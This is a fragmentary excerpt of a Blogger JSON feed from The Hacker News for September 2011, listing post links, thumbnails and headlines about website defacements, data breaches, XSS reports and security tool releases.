09/balaji-plus-cloud-antivirus-released.html","title":"Balaji Plus Cloud Antivirus Released - Mix of 32 antivirus Engines for ultra Protection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-ZbVh0Djn8T8/TnLNQWLBMpI/AAAAAAAAC-U/-hTQD8IsObo/s72-c/Untitled-3+copy.jpg","height":"72","width":"
...[SNIP]...
href":"http://thehackernews.com/2011/09/thc-hydra-v70-new-version-released-for.html","title":"THC-HYDRA v7.0 new version released for Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-UPdHdPAe1_0/TnFI9TMnUQI/AAAAAAAAC-Q/OWy7uC2GDhs/s72-c/6cce61d0e149ded800658df34cc65859.png","heigh
...[SNIP]...
ews.com/2011/09/utorrent-bittorrent-sites-hacked-spread.html","title":"uTorrent \u0026 BitTorrent Sites Hacked, Spread Security Shield Malware"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-HHXEdcGfSQM/TnESUBZBNYI/AAAAAAAAC-M/ACC0aHOLjmg/s72-c/bBoVvbFeWRneFBWENoSxfDl72eJkfbmt4t8yenImKBU8
...[SNIP]...
kernews.com/2011/09/book-backtrack-5-wireless-penetration.html","title":"Book : Backtrack 5 Wireless Penetration Testing by Vivek Ramachandran"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-sZmy-GYwaaM/TnDzZ-3-xVI/AAAAAAAAC-E/zseWYDx7xsc/s72-c/5580OS_Backtrack+5+Wireless+Penetration.jpg"
...[SNIP]...
"href":"http://thehackernews.com/2011/09/mcafee-deepsafe-anti-rootkit-security.html","title":"McAfee DeepSAFE - Anti-rootkit Security Solution"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-nH9c1Pt2JkQ/TnD1E-A_QRI/AAAAAAAAC-I/CPkeJCOY7uU/s72-c/mcafee-security-i.jpg","height":"72","width"
...[SNIP]...
ml","href":"http://thehackernews.com/2011/09/presidential-website-president-of.html","title":"Presidential website president of Bolivia hacked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-X2MyWp4tYn0/TnDtdoRJY0I/AAAAAAAAC98/qXcEmPKnukk/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ehackernews.com/2011/09/top100-arena-gaming-sites-network.html","title":"Top100 Arena Gaming Sites Network hacked By ACA [Albanian Cyber Army]"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-x1zhX0lFG_0/Tm-3U1nF76I/AAAAAAAAC94/pvQHEyCKyLs/s72-c/j6lg7b.png","height":"72","width":"72"}},{"i
...[SNIP]...
ttp://thehackernews.com/2011/09/opiran-new-press-release-for-23.html","title":"#Opiran new press release for 23 September by Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-Yoo5MpW62Ak/Tm-iVxFbFKI/AAAAAAAAC90/bSp1U0gljjw/s72-c/2yy8i1j.jpg","height":"72","width":"72"}},{"
...[SNIP]...
ype":"text/html","href":"http://thehackernews.com/2011/09/security-onion-livedvd-download.html","title":"The Security Onion LiveDVD - Download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-kqKucLOfM-M/Tm-hoO2O19I/AAAAAAAAC9w/6hpCPVllfb4/s72-c/security-onion.png","height":"72","width":"7
...[SNIP]...
/html","href":"http://thehackernews.com/2011/09/brucon-belgiums-first-security.html","title":"BruCON ... Belgium...s First Security Conference"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-HJateiXlxPQ/Tm-gMfuaCuI/AAAAAAAAC9s/tTjycbeIDBg/s72-c/logo-brucon-300.jpg","height":"72","width":"
...[SNIP]...
e":"text/html","href":"http://thehackernews.com/2011/09/hook-analyser-malware-tool-released.html","title":"Hook Analyser Malware Tool Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-07ZlxeLxN6A/Tm-cXjwga8I/AAAAAAAAC9o/n1xpc6a1-3A/s72-c/Dump-all.PNG","height":"72","width":"72"}},{
...[SNIP]...
href":"http://thehackernews.com/2011/09/panda-security-pakistan-domain-hacked.html","title":"Panda Security (Pakistan domain) hacked by X-NerD"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-kiykk6KGPcI/Tm0erYRZo7I/AAAAAAAAC9k/D6hTarDHU6w/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
,"type":"text/html","href":"http://thehackernews.com/2011/09/suggested-linux-31-kernel-logo.html","title":"Suggested The Linux 3.1 Kernel logo"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-h6JjLW6QSDY/Tm0J0CUvmVI/AAAAAAAAC9c/hBPP5OZem8w/s72-c/31-tuxlogo-screen.png","height":"72","width"
...[SNIP]...
2011/09/truth-alliance-network-and-20-churches.html","title":"Truth Alliance Network and 20 Churches websites hacked by Muslim Liberation Army"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-5zIBHbO9nWQ/Tmzvftai4aI/AAAAAAAAC9U/c1PXw6RMUNk/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
news.com/2011/09/federal-nigerian-government-websites.html","title":"Federal Nigerian Government Websites Hacked by Elemento_pcx \u0026 s4r4d0"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-QmbTgszq_pE/Tmzp_eWKx9I/AAAAAAAAC9Q/uJWXzbl6x9o/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/09/linux-foundation-linuxcom-multiple.html","title":"Linux Foundation \u0026 Linux.com multiple server compromised"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-itc0CCFi_zQ/TmzHiGneLKI/AAAAAAAAC9M/KKTnFt9O7nY/s72-c/Linux-Foundation.jpg","height":"72","width":
...[SNIP]...
html","href":"http://thehackernews.com/2011/09/hundreds-of-domains-hacked-by-x-nerd.html","title":"Hundreds of domains hacked by X-NerD hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-w8A1m96Xc-g/Tmu5-iGmsoI/AAAAAAAAC9I/xOxvNQsSBsw/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
hehackernews.com/2011/09/george-washington-institue-for.html","title":"The George Washington Institue for Sustainability hacked by Cocain TeaM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-rnH2uTM_h48/Tmu41j4xN7I/AAAAAAAAC9E/RZGedXq5KV4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/09/rootkit-hunter-rootkit-scanning-tool.html","title":"Rootkit Hunter - Rootkit scanning tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-7o8_7Z70rx8/TmuZKuBHcBI/AAAAAAAAC9A/wLVjUhUnbA0/s72-c/rookit-hunter.jpg","height":"72","width":"72
...[SNIP]...
tml","href":"http://thehackernews.com/2011/09/14-years-in-jail-for-mass-credit-card.html","title":"14 Years in Jail for mass credit card theft"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-p-Y6wCqU1wI/TmuXtEEdRwI/AAAAAAAAC88/wK27xaKWbr4/s72-c/14.jpg","height":"72","width":"72"}},{"id":{
...[SNIP]...
://thehackernews.com/2011/09/nbc-news-twitter-account-hacked-post.html","title":"NBC News Twitter account hacked \u0026 post fake news of 9/11"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-4qYGOQ0g4iI/TmuO-t3B4sI/AAAAAAAAC80/aso3nDG2dVw/s72-c/6a00d8341c630a53ef015391781113970b-500wi.png
...[SNIP]...
f":"http://thehackernews.com/2011/09/google-tells-iranians-to-change-their.html","title":"Google tells Iranians to Change their Gmail password"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-78YW5G7dcvs/TmpgSq-NyfI/AAAAAAAAC8w/pD_kxeJMo0g/s72-c/google-blog.jpg","height":"72","width":"72"}
...[SNIP]...
ernate","type":"text/html","href":"http://thehackernews.com/2011/09/norton-cybercrime-report-2011.html","title":"Norton Cybercrime Report 2011"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-XB9kRC1rYp4/TmpepC7lh3I/AAAAAAAAC8s/xtrW76c9_oc/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
":"http://thehackernews.com/2011/09/fbpwn-cross-platform-facebook-profile.html","title":"FBPwn : A Cross-Platform Facebook Profile Dumper tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-2ezBR6Ne9BY/TmpeFas1vtI/AAAAAAAAC8o/vx187B4FbYE/s72-c/facebook_hack_0504.jpg","height":"72","width
...[SNIP]...
//thehackernews.com/2011/09/wireshark-149-wireshark-162-updated.html","title":"Wireshark 1.4.9 \u0026 Wireshark 1.6.2 updated version released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-p6EHHlp9pl4/TmpaAKJcKnI/AAAAAAAAC8k/DHd-olwOM2I/s72-c/wireshark2.jpg","height":"72","width":"72"}}
...[SNIP]...
ef":"http://thehackernews.com/2011/09/google-web-history-vulnerable-to-new.html","title":"Google Web History vulnerable to new Firesheep Addon"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-BMRD29mqocU/TmpYjQLMhEI/AAAAAAAAC8g/wqpf8mDzKdY/s72-c/hijack-firesheep-firefox.jpg","height":"72",
...[SNIP]...
":"http://thehackernews.com/2011/09/hotmail-msn-office-365-livecom-sites.html","title":"Hotmail, MSN, Office 365, live.com sites down (now up)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-rAFIAdzFxD8/TmpV3sUEJoI/AAAAAAAAC8Y/ttQecjaQIDU/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/2011/09/urge-universal-rapid-gamma-emitter.html","title":"URGE (Universal Rapid Gamma Emitter) Hijacking Twitter Trends Released by Anonymous"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-xUhomoI7IP8/TmpTkQ-vCCI/AAAAAAAAC8U/XyShI7SFWd4/s72-c/Anon.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
tml","href":"http://thehackernews.com/2011/09/20000-patient-records-breach-at.html","title":"20000 patient records Breach at Stanford Hospital"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-PEHAEAxxWds/TmpRoNsnpYI/AAAAAAAAC8Q/oo86HnCnMyQ/s72-c/LogoSHC_5-1-09.jpg","height":"72","width":"7
...[SNIP]...
ttp://thehackernews.com/2011/09/hacker-halted-usa-2011-10-reasons-why.html","title":"Hacker Halted USA 2011 - 10 Reasons Why You Should Attend"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-QBCX14dmGdU/Tmka8x1nhMI/AAAAAAAAC8M/y4q7s_V2IwQ/s72-c/Miami-River3-1.jpg","height":"72","width":"7
...[SNIP]...
","href":"http://thehackernews.com/2011/09/winautopwn-v27-windows-autohacking-tool.html","title":"winAUTOPWN v2.7 ... Windows Autohacking Tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-X6gQDbgWWGI/TmkZ0blndpI/AAAAAAAAC8I/xp7YctRFEBE/s72-c/pwned.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
tp://thehackernews.com/2011/09/sony-hires-ex-homeland-security.html","title":"Sony Hires Ex- Homeland Security Official after PlayStation Hack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-hXCh9DFLGHE/Tmj9wZw4SHI/AAAAAAAAC8E/sDgejH0J1JU/s72-c/philip-reitinger-headshot.jpg","height":"72"
...[SNIP]...
011/09/12-pakistan-government-departments.html","title":"12 Pakistan Government departments websites \u0026 Benazir Bhutto site Hacked by Mr52"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/--PZnTcPyzFs/TmjwlBMEOBI/AAAAAAAAC8A/NTYH11hIp-M/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
dows-analysis-and-data.html","title":"Offline Windows Analysis and Data Extraction (OWADE) - Forensics tool to expose all your online activity"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-M2Do6odxdmY/TmjuUhHgegI/AAAAAAAAC78/a5mgcwYAcb8/s72-c/photo.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
"href":"http://thehackernews.com/2011/09/court-grants-bail-to-anonymous-and.html","title":"Court grants bail to Anonymous and LulzSec suspects"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-Fbrl7QZy23E/Tmjr-mfZXhI/AAAAAAAAC74/EB80eCFqwVA/s72-c/Anonymous-LulzSec-There-is-Nothing-You-Can-P
...[SNIP]...
t/html","href":"http://thehackernews.com/2011/09/cyberwar-between-israel-and-turkish.html","title":"Cyberwar between Israel and Turkish Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/_bCYQxIvMQ2U/TRqK9wgVGzI/AAAAAAAAAdc/tD-g16bzFlg/s72-c/uHqRnMmR.jpg","height":"72","width":"72"}},{
...[SNIP]...
lternate","type":"text/html","href":"http://thehackernews.com/2011/09/malcon-2011-call-for-papers.html","title":"Malcon 2011 - Call for Papers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://i51.tinypic.com/96cfmd_th.png","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-480284147863414727
...[SNIP]...
","href":"http://thehackernews.com/2011/09/ghana-red-cross-website-defaced-by.html","title":"Ghana Red cross website defaced By Ahmdosa Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-8IU0lOLtQf8/TmZzMmVoaFI/AAAAAAAAC7s/Xzfn9WCPUlE/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/09/100s-of-united-kingdom-and-usa-websites.html","title":"100's of United Kingdom and USA websites hacked by Dinelson"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-k_7ww_g78Xs/TmZrrhG4L8I/AAAAAAAAC7o/cc8eiJemNZo/s72-c/wp.jpg","height":"72","width":"72"}},{"id":{
...[SNIP]...
tml","href":"http://thehackernews.com/2011/09/registry-decoder-digital-forensics-tool.html","title":"Registry Decoder - Digital Forensics Tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-GmSB3CC6pQU/TmZqJyF_LLI/AAAAAAAAC7k/M04K4OUPGao/s72-c/front.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
ackernews.com/2011/09/20-famous-websites-vulnerable-to-cross.html","title":"20 Famous websites vulnerable to Cross Site Scripting (XSS) Attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-nLYP5Uti6tQ/TmZnyg3pATI/AAAAAAAAC7g/TmUIM4r66hg/s72-c/witu7d.png","height":"72","width":"72"}},{"i
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/09/gamecom-xss-vulnerability-by-cyber4rt.html","title":"Games.com XSS Vulnerability by Cyber4rt"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-yluz43uCCJQ/TmZl6I24j0I/AAAAAAAAC7c/iWpLubbqsdc/s72-c/xssgamescom.jpg","height":"72","width":"72"}
...[SNIP]...
","href":"http://thehackernews.com/2011/09/comodohacker-responsible-for-diginotar.html","title":"ComodoHacker responsible for DigiNotar Attack"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-jJrNH0PwhdM/TmZc4AN9MrI/AAAAAAAAC7Y/a2aLIUTMKIs/s72-c/ScreenHunter_01+Apr.+02+02.55.gif","height":
...[SNIP]...
html","href":"http://thehackernews.com/2011/09/ddos-tracer-10-released-by-maxpaincode.html","title":"DDOs Tracer - 1.0 Released by MaxPainCode"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://img.youtube.com/vi/dx2ceoOjvmw/default.jpg","height":"72","width":"72"}},{"id":{"$t":"tag:blogger.com,1999:blog-48028
...[SNIP]...
tp://thehackernews.com/2011/09/uronimo-mobile-platform-website-hacked.html","title":"Uronimo - Mobile platform website Hacked by Team Inj3ct0r"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-ZgUkyVbOlQw/TmUGjZ8AaCI/AAAAAAAAC6g/akpGJLGL1MI/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
"http://thehackernews.com/2011/09/department-of-homeland-security-warns.html","title":"Department of Homeland Security warns Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-81mzn6uCqIU/TmUC7IQvmRI/AAAAAAAAC6c/g7L2ElhCve4/s72-c/dhs.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
kernews.com/2011/09/united-nations-sub-domain-of-swaziland.html","title":"United Nations Sub-Domain of Swaziland hacked by Cocain Team Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-sNIPSFH_B5I/TmPbYiePDhI/AAAAAAAAC6U/4Q4ud_ASt7w/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
gistercouk-biggest-news-site-got.html","title":"Theregister.co.uk , Vodafone, Telegraph, Acer, National Geographic got hacked by Turkguvenligi"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-51Q1ClkNRpw/TmPYalA7T9I/AAAAAAAAC6Q/u5qZc3EAOKs/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/09/european-union-hacked-by-inj3ct0r-team.html","title":"European Union hacked by Inj3ct0r Team"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-BW_GmTu5TEQ/TmPVRWs6_lI/AAAAAAAAC5k/RYPexFF3B58/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
ckernews.com/2011/09/100s-of-israel-websites-hacked-by-cyber.html","title":"100's of Israel Websites Hacked By Cyber-Warrior / AKINCILAR Group"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-9V4_jFpaItg/TmPSSHCz4NI/AAAAAAAAC5g/DNwDZLI5v-Q/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
"rel":"alternate","type":"text/html","href":"http://thehackernews.com/2011/09/backbox-linux-2-released.html","title":"BackBox Linux 2 released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-zf6dNLMPDG0/TmPMfzHkgbI/AAAAAAAAC5c/YJGuCHh_ezw/s72-c/backbox-menu.preview.png","height":"72","wid
...[SNIP]...
p://thehackernews.com/2011/09/mobile-app-network-forum-hacked-15000.html","title":"Mobile APP Network Forum Hacked, 15000 user accounts leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-Q3yzruzUCc4/TmPFgj1rSeI/AAAAAAAAC5Y/BZ9zf7wmcIE/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ackernews.com/2011/09/pakistani-music-site-database-and.html","title":"Pakistani Music site Database and Vulnerability Exposed by Maxt Breaker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-cBT2C3o3Z-c/TmPBMHn2U8I/AAAAAAAAC5U/ZiWaKiSi2Qs/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
ws.com/2011/09/hdfc-bank-database-hacked-by-zsecure.html","title":"HDFC Bank Database Hacked by zSecure team using SQL injection vulnerability"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-RubLD3cAgOM/TmE2dLncqZI/AAAAAAAAC5E/5RH0yO9MF44/s72-c/d2b836ebcadea15826f6ccf69dd7-grande+copy.jpg
...[SNIP]...
"http://thehackernews.com/2011/09/anonymous-release-press-release-for.html","title":"Anonymous Release Press Release for Operation Tarmageddon"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-l3477xu9Y-g/TmEnmDI5maI/AAAAAAAAC5A/ZVqbliIx8Ag/s72-c/SayGoodBye1.jpg","height":"72","width":"72"}
...[SNIP]...
//thehackernews.com/2011/09/indian-government-computers-are-also.html","title":"Indian Government Computers are also Corrupted like Government"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-PAkC3Tygbb4/TmEU8sQ8SoI/AAAAAAAAC44/wZfsY7dqnBg/s72-c/india-anna-hazare-visualization.jpg","height
...[SNIP]...
html","href":"http://thehackernews.com/2011/09/vulnerability-master-10-released-by.html","title":"Vulnerability Master 1.0 Released By MaxPain"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-lRWrFxRBX0I/TmERGvxX0lI/AAAAAAAAC40/82FYF0DN6VM/s72-c/Untitled+copy.jpg","height":"72","width":"72
...[SNIP]...
tp://thehackernews.com/2011/09/vbulletin-underground-website-hacked-by.html","title":"VBulletin Underground Website Hacked By 'Why So Serious'"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-_pa5jx_ecA4/TmEM2SCN9FI/AAAAAAAAC4s/_R2SHV7WhKA/s72-c/wss.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
":"http://thehackernews.com/2011/09/persistent-xss-vulnerability-in-ebuddy.html","title":"Persistent XSS vulnerability in eBuddy Web Messenger"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-cgwmGfEgDiA/TmAuK2YAgPI/AAAAAAAAC4g/pZxEDLpNhKY/s72-c/1.png","height":"72","width":"72"}},{"id":{"
...[SNIP]...
//thehackernews.com/2011/09/hacker-news-magazine-september-issue-no.html","title":"The Hacker News Magazine September Issue - NO ONE IS SECURE"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-J9ADyUiQwiI/TmAZKK2oOxI/AAAAAAAAC4Y/ZCqLEDepvHA/s72-c/THN+-the+hacker+news+magazine+september+edit
...[SNIP]...
